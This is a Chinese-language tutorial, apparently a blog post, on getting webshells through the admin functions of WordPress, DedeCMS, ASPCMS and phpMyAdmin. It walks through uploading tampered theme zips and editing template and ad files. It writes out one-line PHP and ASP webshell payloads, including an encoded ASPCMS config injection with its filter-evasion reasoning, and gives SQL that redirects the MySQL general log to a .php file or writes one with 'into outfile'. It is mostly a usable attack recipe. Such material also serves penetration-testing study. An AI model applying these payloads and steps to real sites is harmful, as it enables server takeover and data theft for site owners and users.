常见cms获取Shell漏洞(Wordpress、dedecms、ASPCMS、PhpMyadmin)

WordPress

我们可以通过上传模板以及后台修改模板文件来获取Webshell

上传模板

在Apperance下的Themes存在一个上传模板的位置,该位置只允许上传zip文件,那么我们直接搜索一个该cms的模板并将一句话木马写到zip文件中然后上传上来

https://www.aigei.com/ui/web/word_press_template? wordpress模板的下载位置

接着上传完成后我们要获取我们上传的模板的位置,点开我们刚才上传的模板,存在一张预览图,是我们刚才压缩包中的图片,我们查看该图片的位置

就获取了模板上传的位置,我们的木马与该图片在同级目录下,我们直接访问木马,没有报错,说明正确,然后蚁剑直接连接即可

关于获取上传模板的位置,还可以安装一个同cms的网站来查看模板存放的位置,或者直接搜索该cms模板存放的位置

后台修改模板文件

在Apperance下的Editor页面,那么我们还可以在该页面看到,右侧有许多的该模板的PHP文件我们也可以进行修改,我们直接将木马写到这些PHP文件中,然后进行连接

dedecms

文件管理器

我们登陆后台之后,来到核心-文件式管理器,发现存在新建文件与上传文件的功能,那么我们分别进行新建/上传一句话木马到指定目录,然后再进行连接

模块下的文件管理器也存在新建文件与上传文件的功能,同样可以实现获取shell

修改模板文件

我们在生成下的更新主页HTML发现可以修改主页位置,那么我们将原本的index.html修改为index.php,然后将首页模式选择为生成静态,然后我们去修改主页的模板 index.htm,向index.htm中添加一句话木马

后台任意命令执行

来到模块下的广告管理中,我们点击增加一个新广告后,发现广告内容它提示我们支持html代码,那么我们就可以将一句话木马写入到广告内容之中

后台sql命令执行

ASPCMS

后台修改配置文件

登录到后台后,我们来到扩展功能的幻灯片设置,打开代理,点击保存进行抓包,在slideTextStatus后面添加%25><%25Eval(Request (chr(65)))%25><%25 ,%25是因为正常的%会被过滤,所以我们使用%25代替,使用chr(65)的原因是 如果是("a")的话,那么双引号也会被转义,所以我们直接使用chr(65)来代替a

发包后我们可以在配置文件中看到我们抓包修改的数据已经上传到了配置文件中

我们使用菜刀进行连接

http://192.168.171.131/config/AspCms_Config.asp a

PhPMyadmin

通过日志拿Shell

我们安装了PhPMyadmin之后,点击SQL页面就可以来执行SQL代码,我们需要先将日志保存状态设置为开启,然后重新设置一个日志的保存文件

show global variables like '%general%';

set global general_log='on';

set global general_log_file = 'C:/phpstudy_pro/WWW/sql_log.php'

show global variables like '%general%';

修改完成后,我们以后的每一次sql操作都会被记录到指定的日志文件中

那么我们直接执行一次 查询一句话木马来将木马写入到日志文件中

select '<?php eval($_POST["cmd"]);?>'

我们查看我们的日志文件,会发现木马已经被记录到了日志文件中,然后直接连接shell即可

通过into outfile写入shell

我们也可以直接来使用into outfile 写入一句话木马到一个文件中

(如果不知道网站根目录的话,那么可以使用@@datadir来获取数据库的安装路径,然后来猜解网站根目录)

select '<?php eval($_POST["cmd"]);?>' into outfile 'C:/phpstudy_pro/WWW/test.php'

通过图形化界面GetShell

相关推荐
360安全应急响应中心22 分钟前
基于 RAG 提升大模型安全运营效率
安全·aigc
EasyNVR25 分钟前
国标GB28181视频监控平台EasyCVR保驾护航休闲娱乐“九小场所”安全运营
网络·安全
Ai野生菌37 分钟前
工具介绍 | SafeLLMDeploy教程来了 保护本地LLM安全部署
网络·人工智能·安全·大模型·llm
DevSecOps选型指南1 小时前
浅谈软件成分分析 (SCA) 在企业开发安全建设中的落地思路
安全·开源治理·软件成分分析·sca·软件供应链安全工具
Xiaok10181 小时前
解决 Hugging Face SentenceTransformer 下载失败的完整指南:ProxyError、SSLError与手动下载方案
开发语言·神经网络·php
cjchsh1 小时前
春秋云境(CVE-2023-23752)
安全
Jtti2 小时前
PHP在Debian环境上的并发处理能力如何
开发语言·debian·php
【云轩】2 小时前
《混沌钟的RISC-V指令集重构》
网络·安全
EasyGBS2 小时前
视频设备轨迹回放平台EasyCVR打造视频智能融合新平台,驱动智慧机场迈向数字新时代
网络·人工智能·安全·音视频
EasyGBS3 小时前
视频设备轨迹回放平台EasyCVR综合智能化,搭建运动场体育赛事直播方案
网络·安全·音视频